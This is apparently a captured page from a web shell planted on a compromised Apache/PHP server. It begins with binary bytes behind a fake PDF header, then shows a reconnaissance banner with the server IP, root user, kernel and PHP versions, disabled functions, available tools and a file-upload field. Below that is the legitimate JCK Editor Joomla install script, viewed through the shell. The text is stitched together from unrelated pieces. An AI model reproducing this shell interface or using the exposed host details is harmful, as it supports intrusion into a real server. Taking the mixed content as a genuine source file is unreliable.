%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.26 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/var/www/html/old/plugins/editors/jckeditor/install/ |
Upload File : |
<?php
/*------------------------------------------------------------------------
# Copyright (C) 2005-2012 WebxSolution Ltd. All Rights Reserved.
# @license - GPLv2.0
# Author: WebxSolution Ltd
# Websites: http://www.webxsolution.com
# Terms of Use: An extension that is derived from the JoomlaCK editor will only be allowed under the following conditions: http://joomlackeditor.com/terms-of-use
# ------------------------------------------------------------------------*/
error_reporting(E_ERROR);
define( '_JEXEC', 1 );
define( 'DS', DIRECTORY_SEPARATOR );
//get root folder
$dir = explode(DS,dirname(__FILE__));
array_splice($dir,-4);
$base_folder = implode(DS,$dir);
if (file_exists($base_folder.DS. 'defines.php')) {
include_once $base_folder.DS.'defines.php';
}
if (!defined('_JDEFINES')) {
define('JPATH_BASE',$base_folder.DS.'administrator');
require_once (JPATH_BASE.DS.'includes'.DS.'defines.php');
}
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
require_once JPATH_BASE .DS.'includes'.DS.'helper.php';
require_once JPATH_BASE .DS.'includes'.DS.'toolbar.php';
jimport('joomla.application.component.controller');
jimport('joomla.application.component.view');
$mainframe = JFactory::getApplication('administrator');
jimport('joomla.plugin.helper');
$plugins = JPluginHelper::getPlugin('system');
//wipe them out
foreach($plugins as $plugin)
{
$plugin->type = 'notToBeUsed'; //change type from system
}
if(method_exists($mainframe,'execute'))
{
//Use reflection to get around change to cms framework
$initaliseMethod = new ReflectionMethod('JApplicationAdministrator', 'initialiseApp');
$initaliseMethod->setAccessible(true);
$routeMethod = new ReflectionMethod('JApplicationAdministrator', 'route');
$routeMethod->setAccessible(true);
$initaliseMethod->invoke($mainframe,array('language' => $mainframe->getUserState('application.lang')));
$routeMethod->invoke($mainframe);
}
else
{
$mainframe->initialise();
$mainframe->route();
}
/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$component_path = dirname(__FILE__);
require_once($component_path .DS.'controller.php');
if(class_exists('JControllerLegacy'))
$controller = JControllerLegacy::getInstance('Install',array('base_path'=>$component_path));
else
$controller = JController::getInstance('Install',array('base_path'=>$component_path));
$task = $mainframe->input->get('task','');
$controller->execute($task);
$controller->redirect();
$contents = ob_get_contents();
ob_end_clean();
ob_start();
$document = JFactory::getDocument();
$head = $document->getBuffer('head');
$head = '<html><head>' . $head. '</head>';
echo $head. '<body>'.$contents .'</body></html>';